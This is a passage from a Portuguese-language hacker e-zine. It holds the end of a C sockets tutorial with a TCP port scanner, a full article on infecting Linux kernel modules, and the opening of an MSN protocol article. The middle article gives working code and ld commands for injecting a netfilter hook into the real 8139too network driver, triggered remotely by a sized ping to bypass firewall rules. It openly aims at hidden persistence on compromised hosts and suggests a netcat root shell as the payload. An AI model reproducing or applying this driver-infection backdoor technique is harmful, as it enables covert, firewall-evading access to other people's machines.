estiver usando o Dev-C++ para acompanhar este tutorial, gostará de saber que há um procedimento adicional a ser realizado. Para inserir referência à API Winsock na sua aplicação, clique em "Projects", "Project Op- tions",clique num botão chamado "Load Object Files" e referencie um arquivo cha- mado "libwsock32.a". Na pasta onde o Dev está instalado, localize o diretório "Lib" e lá encontrará a biblioteca específica dos sockets ("libwsock32.a"). --=[ 9. Fechando e encerrando Neste capítulo estudaremos funções de fechamento de sockets. Como já foi mencionado uma vez neste tutorial, há uma função que fecha o socket. Trata-se da função close() para unix-like e closesocket() para o Windows. O úni- co argumento para esta função é o socket que desejamos encerrar. int s1; s1=socket(2,1,0); closesocket(s1); /* close(s1); unix-like */ Em algum momento, em seu programa,você pode querer parar o recebimento ou o en- vio de dados ou mesmo os dois. Para isso existe uma função específica, o shutdown(). Seu formato e sintaxe são idênticos no Windows ou em qualquer unix- like: int shutdown(socket int, mode int); Onde 'mode' seria uma das três possibilidades: /* shutdown() how types */ #define SD_RECEIVE 0x00 #define SD_SEND 0x01 #define SD_BOTH 0x02 SD_RECEIVE = aborta o recebimento de dados. SD_SEND = aborta o envio de dados. SD_BOTH = aborta ambos. Exemplo: int s1; s1=socket(2,1,0); shutdown(s1,SD_BOTH); Essa função não teria utilidade para nós, já que ainda não vimos como receber e enviar dados, mas logo terá. --=[ 10. Scanner de portas Vamos direto ao exemplo: ------------------------------codigo.c----------------------------------- <++> sockets/scanner.c #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { int mysocket; struct sockaddr_in pc_remoto; struct servent *serv; int i,conexao,porta,p_inicial,p_final; if(argc!=4) { printf("\n"); printf("*********************************************\n"); printf("*Scanner de portas usando a funcao connect()*\n"); printf("**by mi!en@r [gustavo FuckSpam milenar net]**\n"); printf("*********************************************\n\n"); printf("Uso: [x.x.x.x] [Porta inicial] [Porta final]"); printf("\n"); exit(0); } p_inicial=atoi(argv[2]); p_final=atoi(argv[3]); for(porta=p_inicial;porta<=p_final;porta++) { // aqui é lógica pura, entendam. mysocket=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); // cria socket if(mysocket==-1) { // se deu -1, sinal q houve algum erro. printf("Nao foi possivel criar socket\n"); close(mysocket); exit(1); } pc_remoto.sin_family=AF_INET; // arquitetura AF_INET, se lembra pq? pc_remoto.sin_port=htons(porta); // veja o detalhe. Convertemos a NBO para funcionar. pc_remoto.sin_addr.s_addr=inet_addr(argv[1]); /* endereço convertido de ASCII, q o user digitou na linha de comando, para um IP. */ memset(&(pc_remoto.sin_zero),'\0',8); // zera a estrutura para acomodar no sockaddr. if(conexao=connect(mysocket,(struct sockaddr *)&pc_remoto,sizeof(pc_remoto))==-1) { /* deu -1, sinal q nao houve conexao, entao, pressupomos q a porta estah fechada. */ printf(".\n"); close(mysocket); // fechamos o socket e deixamos o laço "for" trabalhar } else { serv=getservbyport(htons(porta),"tcp"); printf("Porta %d aberta. Servico [%s]\n",porta,serv->s_name); /* informa q a porta estah aberta e mostra qual o serviço disponível. */ close(mysocket); // fecha o socket e deixar o "for" trabalhar } /* user win, já sabe o q deve estar aqui, certo? Não queremos mais usar o socket */ } return 0; } <--> sockets/scanner.c ------------------------------codigo.c----------------------------------- A lógica é muito simples.Tentamos nos conectar a determinada porta usando a fun- ção connect, caso haja falha na conexão, pressupomos que aquela porta está fe- chada. Caso nosso programinha consiga a conexão, significa que a porta está a- berta. Leia o código-fonte inteiro, já estamos aptos a entendê-lo. Além disso, comentei o código todo, tornando sua compreensão mais fácil ainda. Gostaria que vocês compilassem e testassem todos os exemplo que incluí, mesmo os mais banais.Além disso, quero que desenvolvam e testem suas próprias aplicações. É verdade que com este tutorial pouco se pode fazer,mas com o pouco conhecimento que já tem, botem a criatividade para funcionar, testem as idéias que aparecerem e certamente dúvidas inteligentes surgirão. Nunca é demais lembrar que este scanner de portas tenta estabelecer conexão com o host alvo, isto significa que qualquer firewall meia-boca poderia detectá-lo. Por isto, tome cuidado onde for executá-lo. Empresas de segurança contabilizam scanneamento de portas como tentativas de invasão. Cuidado. Em relação aos headers para UNIX, pode variar muito, por isso veja com as man pages, elas ajudam barbaridades! Usei como base para a escrita desse tutorial o FreeBSD 5.1 e o Windows 2000 Professional. Por hoje é só. Estudem esse texto aí em cima, e estejam preparados. Veja que a- penas nos conectamos a um servidor; no próximo tutorial vamos ver como receber conexões e como enviar/receber dados. Abraços! _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[04]-=[LKM Code Injection]=-|tDs|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= --=[ Introducao Melhor que conseguir elevar privilegios em um sistema e deixar um LKM nosso, com backdoors, rootkits, ou o que for, e' colocar isso tudo em um LKM do sistema. Desta forma, a deteccao de rastros de uma intrusao fica um pouco mais dificil. Neste pequeno texto, veremos de maneira clara (eu espero) como podemos infectar um LKM, adicionando mais funcoes ou modificando-as, da maneira que acharmos uteis ao nossos objetivos. O assunto pode parecer um pouco complexo para iniciantes, entretanto o que e' tratado e' somente o basico. Entao, se ja possui um conhecimento do as- sunto, e' mais proveitoso procurar por algo mais avancado para leitura. Conhe- cimento previo sobre a escrita de LKM e bem-vindo, embora nao seja indispensa- vel. Exemplos e citacoes sao feitos tendo em mente o kernel do GNU/linux, 2.4.x. --=[ O que sao LKMs LKMs sao "pedacos" do kernel, que podem ser carregados e descarregados dinamicamente, aumentando (ou diminuindo) a gama de opcoes e funcionalidades que sao disponibilizadas pelo kernel do sistema. Por ser carregado sob demanda, ou seja, nao esta embutido no proprio kernel, LKMs tem diversas vantagens a codigo escritos diretamente no kernel. Entre elas temos: - Economia de memoria: Pelo fato de ser carregada somente quando necessario, nao existe desperdicio de memoria com funcoes que nao sao utilizadas constan- temente; - Facilidade na compilacao e debug: LKMs apos carregadas sao parte do kernel, entretanto nao precisam ser compiladas junto com ele. Podem ser escritos e compilados a qualquer momento. Quando se tem problemas com o codigo, e' possi- vel fazer um debug dele com facilidade muito maior do que se o codigo estives- se embutido no kernel. E' mais rapido descarregar o modulo, modificar o codigo, recompilar e recarregar o modulo do que reescrever a parte do codigo que esta no kernel, recompilar tudo e reiniciar o computador! - Novos drivers podem ser testados sem precisar reiniciar o sistema. E sao em drivers que iremos nos concentrar. --=[ Inicio - Primeiros Exemplos A forma mais simples de entender como funciona e' com exemplos. Inicial- mente, criamos um modulo chamado driver_original.o, que sera o exemplo usado como modulo do sistema, que futuramente sera infectado: <++> lkm_injection/driver_original.c /* * Simples exemplo de um lkm que nao faz nada, * mas poderia ser, por exemplo, um driver de * uma placa de rede. * Compile com $gcc -O3 -c driver_original.c */ #define MODULE #define __KERNEL__ #include #include static int __init inicio(void) { printk ("<1> Iniciando driver_original \n"); printk ("<1> Executando funcoes iniciais\n"); printk ("<1> Modulo carregado e aguardando chamada a suas funcoes\n\n"); return 0; } static void __exit fim(void) { printk ("<1> Finalizando modulo orignal \n"); } module_init(inicio); module_exit(fim); MODULE_LICENSE("GPL"); <--> lkm_injection/driver_original.c Antes de carregar o modulo, e' interessante ter o syslogd funcionando corretamente e com a seguinte linha no seu arquivo de configuracao (normalmente /etc/syslog.conf): kern.alert /var/log/alert Dessa forma poderemos observar melhor as mensagens que serao emitidas pelo mo- dulo. Apos isso, compile o codigo e carregue o modulo: #gcc -O3 -c driver_original.c #insmod driver_original.o As opcoes passadas para o gcc sao: || -O3: Optimize yet more. -O3 turns on all optimizations specified || by -O2 and also turns on the -finline-functions and -frename-registers || options. (E' uma opcao para otimizacao do objeto criado pelo gcc.). || || -c: Compile or assemble the source files, but do not link. The linking || stage simply is not done. The ultimate output is in the form of an object || file for each source file. As seguintes mensagens devem aparecer em '/var/log/alert' (ou nao, elas ainda podem aparecer em outro arquivo de log, sinistramente): Nov 14 17:24:57 matrix kernel: Iniciando driver_original Nov 14 17:24:57 matrix kernel: Executando funcoes iniciais Nov 14 17:24:57 matrix kernel: Modulo carregado e aguardando chamada a suas funcoes Com o driver (pseudo-driver que faz absolutamente nada mais do que exi- bir mensagens) criado, podemos agora criar o modulo que contem o codigo que se- ra injetado no driver_original.o: <++> lkm_injection/infector.c /* * Simples exemplo de modulo (note que tem apenas a funcao init_module, ou * seja, so executa alguma funcao durante o carregamento dele), que sera * utilizado para ser injetado em um outro modulo. */ #define MODULE #define __KERNEL__ #include #include int init_module(void) { printk ("<1> Iniciando funcoes do modulo injetado\n"); return 0; } <-->lkm_injection/infector.c Observe que o modulo anterior possui apenas uma funcao, a init_module. Essa funcao e' a equivalente a "main()" em um programa em C comum, ou seja, e' a primeira funcao a ser executada na execucao do modulo, que no caso e' o car- regamento dele. Como deve imaginar, existe tambem uma funcao executada logo an- tes do descarregamento do modulo. Essa funcao e' a "cleanup_module()". Compile o codigo e carregue o modulo: #gcc -O3 -c infector.c #insmod infector.o A seguinte mensagem deve aparecer em '/var/log/alert': Nov 14 17:36:29 matrix kernel: Iniciando funcoes do modulo injetado Por enquanto, tudo que temos sao dois modulos separados (note que a uni- ca coisa que os modulos estao fazendo ate agora e' exibir mensagens no arquivo de log. Leve em conta o seguinte: - As funcoes do driver_original.o ja existem, como codigo do modulo do sistema que futuramente sera infectado. Poderiamos estar usando como exemplos o codigo de um driver real, mas isso apenas complicaria de forma desnecessaria a explana- cao de como podemos efetuar a infeccao; - As nossas funcoes - backdoors, rootkits, etc - serao adicionadas em breve (por voce, obvio, apenas sera mostrado que e' possivel fazer e como poderia ser feito). Voltando ao que vale, o que precisamos fazer agora, e' injetar o modulo infector.o dentro do modulo driver_original.o. Para isso, podemos utilizar o GNU Linker (ld): || "ld combines a number of object and archive files, || relo­cates their data and ties up symbol references. || Usually the last step in compiling a program is to run || ld." Para injetar o codigo do infector.o dentro do driver_original.o, podemos fazer da seguinte forma: #ld -r -z muldefs infector.o driver_original.o -o devil.o Basicamente o que e' feito aqui e' uma injecao da funcao 'int init_modu- le(void)' (a unica) do modulo infector.o para o modulo driver_original.o, crian- do um novo modulo, chamado devil.o. O codigo do driver_original.o deve ter fica- do parecido com o seguinte: /** driver_original_infectado */ #define MODULE #define __KERNEL__ #include #include static int __init inicio(void) { printk ("<1> Iniciando driver_original \n"); printk ("<1> Executando funcoes iniciais\n"); printk ("<1> Modulo carregado e aguardando chamada a suas funcoes\n\n"); return 0; } static void __exit fim(void) { printk ("<1> Finalizando modulo orignal \n"); } module_init(inicio); module_exit(fim); MODULE_LICENSE("GPL"); int init_module(void) { printk ("<1> Iniciando funcoes do modulo injetado\n"); return 0; } /** fim de driver_original_infectado */ Apos carregar ele (#insmod devil.o), o seguinte e' visto em '/var/log/alert': Nov 14 18:34:42 matrix kernel: Iniciando funcoes do modulo injetado Esta funcionando, mas nao perfeitamente, ainda. Alguns detalhes devem ser observados. Um pouco de teoria: Em um LKM, a primeira funcao a ser executada e' a init_module() OU algu- ma funcao passada como argumento para a macro module_init() (que no caso do driver_original.c, foi a funcao 'inicio'). A macro module_init() esta declarada em '/usr/src/linux/include/linux/init.h': || /** || * module_init() - driver initialization entry point || * @x: function to be run at kernel boot time or module insertion || * || * module_init() will add the driver initialization routine in || * the "__initcall.int" code segment if the driver is checked as || * "y" or static, or else it will wrap the driver initialization || * routine with init_module() which is used by insmod and || * modprobe when the driver is used as a module. || */ || #define module_init(x) __initcall(x); Se observar, vera que no codigo teria tanto a funcao "module_init" quanto a "init_module". Entao, caso o codigo acima fosse compilado, ocorreria um erro: error: redefinition of `init_module' error: `init_module' previously defined here O mesmo ocorreria se eles fossem compilados separados e posteriomente linkados. Para contornar este problema, compilamos os arquivos separadamentes e linkamos, passando o argumento '-z muldefs' para o ld, informando a ele para aceitar definicoes multiplas de uma mesma funcao. Desta forma podemos substituir (sobreescrever) a funcao 'module_init(inicio)', que inicializa o driver_original .o, pela funcao init_module() do modulo infector.o. Dessa forma teriamos o nosso modulo injetado dentro do modulo que esta- mos tentando infectar. So tem um detalhe: A funcao 'module_init(inicio)' que se- ra sobreescrita contem codigo que pode ser essencial para o modulo, em sua ver- sao nao infectada (aqui o codigo original apenas exibe mensagens, mas normalmen- te nao e' apenas isso que ocorre), e deve continuar sendo executado. Para que tudo funcione corretamente, basta que o modulo infector.o, em sua inicializacao, execute uma chamada para a funcao inicio() do modulo driver_original.o. Complicou? Observe: <++> lkm_injection/infector2.c /* * Simples exemplo de modulo (note que tem apenas a funcao init_module, ou * seja, so executa alguma funcao durante o carregamento dele), que sera * utilizado para ser injetado em um outro modulo. Apos carregado, executa funcao * principal do modulo infectado */ #define MODULE #define __KERNEL__ #include #include int init_module(void) { printk ("<1> Iniciando funcoes do modulo injetado\n"); printk ("<1> ***inicializando modulo original*** \n\n"); inicio (); // funcao inicio do driver_original, chamada para // inicializacao dele return 0; } <--> lkm_injection/infector2.c Compilamos o novo modulo e linkamos com o modulo original, criando um outro modulo, chamado devil.o: # gcc -O3 -c infector2.c # ld -r -z muldefs infector2.o driver_original.o -o devil.o Apos carregar o modulo (#rmmod devil; insmod devil.o), vemos o seguinte em '/var/log/alert': Nov 14 18:39:24 matrix kernel: Iniciando funcoes do modulo injetado Nov 14 18:39:24 matrix kernel: ***inicializando modulo original*** Nov 14 18:39:24 matrix kernel: Iniciando driver_original Nov 14 18:39:24 matrix kernel: Executando funcoes iniciais Nov 14 18:39:24 matrix kernel: Modulo carregado e aguardando chamada a suas funcoes Exatamente o que e' necessario: - Nosso modulo e' executado, fazendo o que precisa; - Nosso modulo chama a funcao original do modulo que foi infectado; - Modulo original funciona normalmente, como se nada tivesse acontecido. So precisamos de algum codigo util para ser executado e algum modulo para servir de hospedeiro! --=[ Localizando o Hospedeiro Como dito anteriormente, a primeira funcao a ser executada em um modulo pode ser tanto module_init(FUNCAO), quanto init_module(). No caso da infeccao de um modulo que seja inicializado por module_init(FUNCAO), so precisamos nos certificar que o codigo que infectou o modulo original faca uma chamada para 'FUNCAO', garantindo assim que tudo que deve ser executado por ele ao ser car- regado realmente sera executado. Agora, no caso da infeccao de um modulo que e' inicializado por init_module(), a situacao e' diferente. E' necessario literal- mente reescrever o init_module() do modulo original dentro do modulo que ira causar a infeccao. Isto pode ser um tanto chato de se fazer, dependendo do tamanho da funcao de inicializacao. Por este simples motivo, sera dado preferen- cia aos modulos que sejam inicializados por module_init(FUNCAO). Decidir qual modulo utilizar nao deve ser uma tarefa muito complicada. Vamos levar em consideracao o seguinte: - Para que possamos acessar uma maquina remota, ela obviamente esta conectada a rede atraves de algum dispositivo, que normalmente e' uma interface de rede (ethernet); - Para que a interface de rede possa ser utilizada, e' necessaria a utilizacao de algum tipo de driver; - A maioria das distribuicoes de linux atualmente, colocam os drivers de interfaces de rede como modulos; Com estas informacoes, conclui-se que e' bastante interessante a infec- cao de um driver de interface de rede (se a maquina nao carregar este modulo a cada inicializacao do sistema, ela nao tera acesso a rede e nos nao teremos acesso a ela de qualquer forma, por isso a escolha). Outro detalhe que vale observar e' que muitas maquinas costumam utilizar placas de rede comuns (realtek, sis900, 3com), assim utilizam os mesmos modulos (sistemas diferentes utilizando modulos iguais), o que facilitaria bastante a escrita de nosso codigo de infeccao. Vamos dar uma observada no codigo destes modulos controladores de dispositivos de rede: || /** realtek 8139 */ || /* || 8139too.c: A RealTek RTL-8139 Fast Ethernet driver for Linux. || Maintained by Jeff Garzik || Copyright 2000-2002 Jeff Garzik || */ || ... || muito codigo || ... || module_init(rtl8139_init_module); || module_exit(rtl8139_cleanup_module); || /** fim de realtek 8139 */ || /** sis900 */ || /* sis900.c: A SiS 900/7016 PCI Fast Ethernet driver for Linux. || Copyright 1999 Silicon Integrated System Corporation || Revision: 1.08.06 Sep. 24 2002 || || Modified from the driver which is originally written by Donald Becker. || */ || ... || muito codigo || ... || module_init(sis900_init_module); || module_exit(sis900_cleanup_module); || /** fim de sis900 */ || /** ne2k */ || /* ne2k-pci.c: A NE2000 clone on PCI bus driver for Linux. */ || /* || A Linux device driver for PCI NE2000 clones. || */ || ... || muito codigo || ... || module_init(ne2k_pci_init); || module_exit(ne2k_pci_cleanup); || /** ne2k */ O codigo completo dos arquivos esta em '/usr/src/linux/drivers/net'. Nota alguma semelhanca entre o codigo desses drivers e o codigo do "driver_original.c"? Observa-se que muitos destes drivers estao codificados de forma a facilitar o nosso trabalho. Tendo entao alguns hospedeiros selecionados, vamos juntar alguns codigos interessantes para injetar neles. --=[ Colocando Algum Codigo Util Agora que ja sabemos como fazer, precisamos decidir o que fazer. Algumas ideias: - Uma backdoor; - Um logcleanner; - Um rootkit; - Um sninffer; - Qualquer coisa que voce tiver ideia! Voce esta no comando. Com as ferramentas em maos, vamos ver uma pseudo-implementacao de algum codigo realmente util. O codigo a seguir e' uma LKM que contem um codigo inofen- sivo, ate que o kernel manipule um pacote ICMP de 50 bytes (em outras palavras, o codigo nocivo da LKM e' ativado por um PING remoto de 50 bytes, que pode ser feito assim: $ping -s 22 ip.da.vitima). Isso e' feito com a criacao de um hook no netfilter, que e' adicionado antes de outras possiveis regras que poderiam ter sido criadas para bloquear pacotes ICMP, ou seja, voce pode com isso passar por um conjunto de regras que tornaria a vitima inacessivel. E mais, voce pode criar regras on-the-fly, para permitir que a maquina que enviou o pacote ICMP tenha acesso irrestrito. Resumindo, voce pode inutilizar as regras que tenham sido criadas. Para execucao, e' possivel colocar o que quiser: uma backdoor (que tal executar o netcat ouvindo em uma porta X e passar a opcao "-e /bin/sh" para ele? Uma root shell sem muito esforco), uma backdoor em connect-back (que tal esse mesmo netcat se conectar no ip de quem enviou o pacote ICMP), desativar o syslo- gd enquanto o ip de quem enviou o pacote ICMP estiver se comunicando com a ma- quina, etc. Observe que, se receber 50 pacotes do tamanho especifico, o codigo nocivo sera executado 50 vezes, o que nao sera bom na maioria dos casos. No exemplo, apenas exibe uma mensagem, entao nao teremos problemas. Tenha isso em mente no momento que for implementar algo e controle a execucao do codigo noci- vo. Segue a implementacao: <++> lkm_injection/injekt.c /* * Implementacao de lkm com codigo nocivo ativado remotamente, * atraves do recebimento de um pacote ICMP de 50 bytes, que pode * ser alterado passando o parametro pkt_size: * #insmod injekt.o pkt_size=100 * */ #define __KERNEL__ #define MODULE #define P_SIZE_OFFSET 28 #include #include #include #include #include #include #include #include /* declaracoes de variaveis e prototipo de funcoes */ int exec_injetk(void); unsigned int pkt_size = 22; struct nf_hook_ops nfh; unsigned int i_ll_hook_you(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff*)); /* funcao principal do modulo */ int __init init_injekt() { printk ( "<1> Inicializando : icmp_pkt_size: " \ "%i bytes\n\n", pkt_size + P_SIZE_OFFSET); /* informacoes para registrar o hook do netfilter */ nfh.hooknum = NF_IP_LOCAL_IN; nfh.priority = NF_IP_PRI_FIRST; nfh.hook = i_ll_hook_you; nfh.pf = PF_INET; /* a hook e' criada */ nf_register_hook(&nfh); return 0; } /* funcao de saida do modulo */ void __exit exit_injekt ( ) { /* remove a hook */ nf_unregister_hook( &nfh ); } /* O que sera feito quando receber o pacote ICMP do tamanho especificado */ int i_am_terrible( ) { printk ( "<1> EU SOU UMA LKM DO MAU!!!\n\n" ); return 0; } /* aqui temos a hook propriamente dita */ unsigned int i_ll_hook_you ( unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff * ) ) { struct sk_buff *sk = *skb; /* verifica se o protocolo e' icmp e o tamanho do pacote e' o especificado */ if ( sk->nh.iph->protocol == IPPROTO_ICMP && sk->len == P_SIZE_OFFSET + pkt_size ) { /* informa que recebeu o pacote */ //printk ( "<1> Recebido pacote de %i bytes )\n\n", sk->len ); i_am_terrible(); return NF_STOLEN; /* elimina o pacote! */ } return NF_ACCEPT; /* retorna o pacote para ser feito o que for preciso */ } /* informacoes do modulo */ module_init ( init_injekt ); module_exit ( exit_injekt ); MODULE_PARM ( pkt_size, "i" ); MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP ( Padrao = 50 )" ); MODULE_LICENSE ( "GPL" ); MODULE_AUTHOR ( "tDs " ); MODULE_DESCRIPTION ( ":: keep your mind free() ::" ); <--> lkm_injection/injekt.c --=[ Cenario Real: Infectando um Driver Vamos utilizar como exemplo o driver 8139too.o, que normalmente esta em "/lib/module/kernel_versao/kernel/drivers/net/8139too.o.gz". Note que ele esta compactado (na maioria das distribuicoes), entao nao tente injetar seu modulo sem antes descompactar. O codigo que sera injetado e' o que foi exposto acima, levemente modificado (embora continue fazendo nada mais do que exibir mensagens). Segue o codigo: <++>lkm_injection/8139injekt.c /* * Implementacao de lkm com codigo nocivo ativado remotamente, * atraves do recebimento de um pacote ICMP de 50 bytes, que pode * ser alterado passando o parametro pkt_size: * #insmod 8139injekt.o pkt_size=100 * preparado para infectar driver da placa de rede realtek 8139too * /lib/modules/2.4.x/kernel/drivers/net/8139too.o.gz * */ #define __KERNEL__ #define MODULE #define P_SIZE_OFFSET 28 #include #include #include #include #include #include #include #include #include #include int exec_injetk(void); extern RTL8139_DRIVER_NAME; extern rtl8139_pci_driver; //extern pci_module_init(); unsigned int pkt_size = 22; struct nf_hook_ops nfh; unsigned int i_ll_hook_you(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff*)); int init_module() { /* codigo do driver original */ /* when we're a module, we always print a version message, * even if no 8139 board is found. */ #ifdef MODULE printk("<8> %s \n", RTL8139_DRIVER_NAME); #endif nfh.hooknum = NF_IP_LOCAL_IN; nfh.priority = NF_IP_PRI_FIRST; nfh.hook = i_ll_hook_you; nfh.pf = PF_INET; nf_register_hook(&nfh); /* codigo do driver original */ return pci_module_init(&rtl8139_pci_driver); } void cleanup_module ( ) { /* remove a hook */ nf_unregister_hook( &nfh ); /* codigo do driver original */ pci_unregister_driver(&rtl8139_pci_driver); } int i_am_terrible( ) { printk ( "<1> EU SOU UMA LKM DO MAU!!!\n\n" ); return 0; } unsigned int i_ll_hook_you ( unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff * ) ) { struct sk_buff *sk = *skb; if ( sk->nh.iph->protocol == IPPROTO_ICMP && sk->len == P_SIZE_OFFSET + pkt_size ) { i_am_terrible(); return NF_STOLEN; } return NF_ACCEPT; } MODULE_PARM ( pkt_size, "i" ); MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP ( Padrao = 50 )" ); <-->lkm_injection/8139injekt.c Compile e linke o modulo. Apos linkar, sera exibida uma mensagem de advertencia: # gcc -O3 -c 8139injekt.c # ld -r -z muldefs 8139inject.o 8139too.o -o devil.o ld: Warning: size of symbol `init_module' changed from 139 in badcode.o to 70 in 8139too.o ld: Warning: size of symbol `cleanup_module' changed from 32 in badcode.o to 12 in 8139too.o # modinfo devil.o filename: devil.o description: "RealTek RTL-8139 Fast Ethernet driver" author: "Jeff Garzik " license: "GPL" parm: pkt_size int, description "Tamanho de pacote ICMP ( Padrao = 50 )" parm: multicast_filter_limit int, description "8139too maximum number of filtered multicast addresses" parm: max_interrupt_work int, description "8139too maximum events handled per interrupt" parm: media int array (min = 1, max = 8), description "8139too: Bits 4+9: force full duplex, bit 5: 100Mbps" parm: full_duplex int array (min = 1, max = 8), description "8139too: Force full duplex for board(s) (1)" parm: debug int, description "8139too bitmapped message enable number" Observe que o modulo agora contem o parametro que definimos anteriormen- te, em nosso modulo. Apos carregar o modulo, o hook do netfilter que foi criada estara disponivel e, para ativar a nossa funcao "i_am_terrible", basta um "ping -s 22 ip.da.vitima". Note que o PING nao vai retornar resposta, visto que o pacote sera descartado no hook. Entretanto, funcionara perfeitamente. Ultima observacao: Nao tente fazer isso com um driver de um dispositivo nao presente na maquina, os resultados podem ser desastrosos ( panic() ). Muito pode ser feito com infeccao de modulo, embora pessoas com maior conhecimento normalmente utilizam-se de outros meios para manter acesso em hosts previamente dominados. A utilizacao de modulos para esse fim pode ser bastante efetiva e ao mesmo tempo muito simples de ser implemtentada. --=[ Agradecimentos e Links/Referencias Pessoal da scene brasileira toda, em especial ao pessoal que converso com maior frequencia. Voces sabem quem sao voces. Informacao e' simples de se adquirir, internet esta cheia disso. Basta saber procurar. http://www.motdlabs.org http://tds.motdlabs.org http://gcc.gnu.org/onlinedocs/gcc-3.4.4/gcc/ http://www.gnu.org/software/binutils/manual/ld-2.9.1/html_chapter/ld_toc.html http://www.netfilter.org/ _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[05]-=[MSN Hacking]-=|Leandro A. Thomas|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Indice ====== 1.0 Introducao 2.0 Preludio 3.0 Processo de Autenticacao 4.0 Obtendo MS Passport e Ticket 5.0 Conexao Estabelecida 6.0 Exemplo Simples 7.0 Referencia 8.0 Consideracoes Finais --=[ 1.0 Introducao E ai pessoal !!! Ha um tempo resolvi dar uma estudada sobre como se da o funcionamento do protocolo utilizado pelo MSN. Aos seres que vivem em outro mundo, MSN se trata de um servico de chat nativo da Microsoft, tambem conhecido como "MSN Messenger", onde os usuarios que possuem e-mail podem se cadastrar e utiliza-lo como software para mensagens instantaneas. Apesar de possuir seu codigo fechado (pra variar neh), a popularidade junto com a curiosidade fez com que o hacking mais uma vez fosse utilizado para o bem, ao menos para nos :P Voce deve estar se perguntando: se a Microsoft esconde todo o funciona- mento dele, como o pessoal conseguiu descobrir? Eh claro que ainda existem algu- mas duvidas, mas tecnicas de sniffing e engenharia reversa ajudaram muito a entender seu funcionamento. Com isso, muitos projetos foram desenvolvidos, justamente como nova opcao em sistemas nao-windows. Um exemplo eh o famoso aMSN, cliente MSN popularizado pela comunidade Linux, feito em tcl/tk. Confira nos links alguns projetos desenvolvidos: - http://www.warwick.ac.uk/~esucbg/TjMSN/ - http://kmess.sourceforge.net/ - http://amsn.sourceforge.net/ - http://www.ut.ee/~moby/msn/ --=[ 2.0 Preludio Ao programar um cliente MSN, certamente ira se deparar com algumas si- tuacoes que o deixarao com duvidas quanto a comunicacao com o servidor. Para auxiliar recomendo a utilizacao de um sniffer (tcpdump ou ethereal, por exemplo) para depurar algumas respostas. Antes de comecar a estudar o funcionamento do MSN, eh interessante ficar por dentro de algumas definicoes. MSN Protocol (MSNP): O MSN segue um conjunto de regras especificadas em seu protocolo, que gerenciam desde o handshake de comunicacao entre cliente e servidor ateh processos mais avancados como troca de mensagens, envio de arquivos, etc. Este protocolo eh denominado MSNPx, onde x eh a versao utilizada no servidor de autenticacao. Para nosso artigo, iremos trabalhar com o MSNP10, lembrando que ele deve ser especificado na negociacao com o servidor (veremos mais a frente). Caso o servidor trabalhe com versoes mais antigas do MSNP, nao havera acordo entre as partes, se voce estiver com uma versao diferente a exigida. Notification Server (NS): Podemos considerar a autenticacao com o NS a base de tudo. Este servidor eh responsavel por manipular sua presenca, definindo seu status (online, offline, etc), bem como notificar o recebimento de e-mails em sua conta Hotmail. Switchboard (SB): Eh o responsavel em manipular cada sessao de mensagens, ou seja, quando eh estabelecido uma comunicacao entre clientes, a sessao para a troca dessas mensagens eh controlado pelo SB. Uma sessao pode ser dada pela comunicacao one-to-one, entre duas entidades apenas, ou em um chat, fazendo o switchboard trabalhar de forma compartilhada, desta forma controlando quem esta no chat. Daqui pra frente usaremos uma sintaxe basica para definir o que esta sendo enviado ao servidor e o que sera sua resposta. A string precedida por um ">>>" definira nosso envio, enquanto um "<<<" designa o recebimento da resposta. Existem duas formas de se iniciar o processo de autenticacao. Muitos clientes web (ex.: webmessenger.com) utilizam o protocolo HTTP para suas cone- xoes, nao precisando assim um software cliente como o que a maioria usa, neces- sitando apenas um browser. Outra alternativa eh a conexao via proxy, assim de- vendo haver um software cliente como o proprio MSN Messenger da Microsoft. A conexao HTTP ocorre atraves do gateway.messenger.hotmail.com, na porta 80. Os commandos sao enviados atraves do metodo post para um script cgi responsavel em atender seu pedido, enviando alguma resposta referente a eles. Todos os comandos devem seguir as regras padronizadas pelo HTTP especificadas no RFC-2616, contendo um comando por requerimento inserido em seu campo de corpo. Quando feito um HTTP request, o servidor responde com um HTTP reply contendo em seu header a string "X-MSN-Messenger", o endereco IP a ser realizado o proximo requerimento e um ID da sessao estabelecida. Caso a sessao seja fechada (atraves de time-out ou de uma ordem dada), havera um valor definindo seu encerramento, "Session=close". --=[ 3.0 Processo de Autenticacao Entao, finalmente podemos comecar a ter um esboco. O primeiro (e mais dificil) passo na construcao de um cliente MSN, apos ter definido os processos iniciais acima, eh realizar a autenticacao no servidor NS. Todo preludio deve comecar no acordo do protocolo a ser utilizado entre ambas as partes(servidor e cliente). Criando-se um socket devidamente correto ao NS, enviaremos a seguinte string contendo a versao que iremos trabalhar: >>> VER 1 MSNP9 MSNP10\r\n <<< VER 1 MSNP9 MSNP10\r\n Acima enviamos a string de versao para o NS, recebendo uma resposta de que as versoes 9 e 10 do MSNP estao ativas naquele servidor. Agora um exemplo em que nao houve acordo entre as partes, ocasionando numa desconexao: >>> VER 1 MSNP9 MSNP10\r\n <<< VER 1 0\r\n OBS.: Veja que em cada mensagem ha um CR+LF para tratamento, requerido pelo protocolo. Caso receba resposta negativa, tente mudar as versoes, ja que o MSN vive em constante atualizacao com novas versoes, pode ser que a versao do MSNP esteja mais atualizada tambem. Uma vez tendo a confirmacao do protocolo corretamente aceita, voce 